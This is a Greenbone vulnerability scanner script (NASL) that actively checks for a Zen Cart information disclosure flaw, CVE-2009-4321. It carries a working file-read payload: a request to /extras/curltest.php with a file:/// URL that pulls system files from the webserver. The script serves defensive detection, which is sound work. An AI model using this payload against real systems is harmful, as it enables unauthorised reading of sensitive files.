Zen Cart Information Disclosure Vulnerability (Dec 2009) - Active Check

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:zen-cart:zen_cart";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100402");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2009-12-16 12:39:06 +0100 (Wed, 16 Dec 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2009-4321");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Zen Cart Information Disclosure Vulnerability (Dec 2009) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_zencart_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("zen_cart/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Zen Cart is prone to an information disclosure vulnerability
  because it fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to view local files in the
  context of the webserver process. This may allow the attacker to obtain sensitive information,
  other attacks are also possible.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/37283");
  script_xref(name:"URL", value:"http://www.acunetix.com/blog/websecuritynews/acusensor-curl-and-zen-cart/");
  script_xref(name:"URL", value:"http://www.zen-cart.com/forum/showthread.php?t=142784");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + "/extras/curltest.php?url=file:///" + files[file];

  if (http_vuln_check(port: port, url: url,pattern: file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);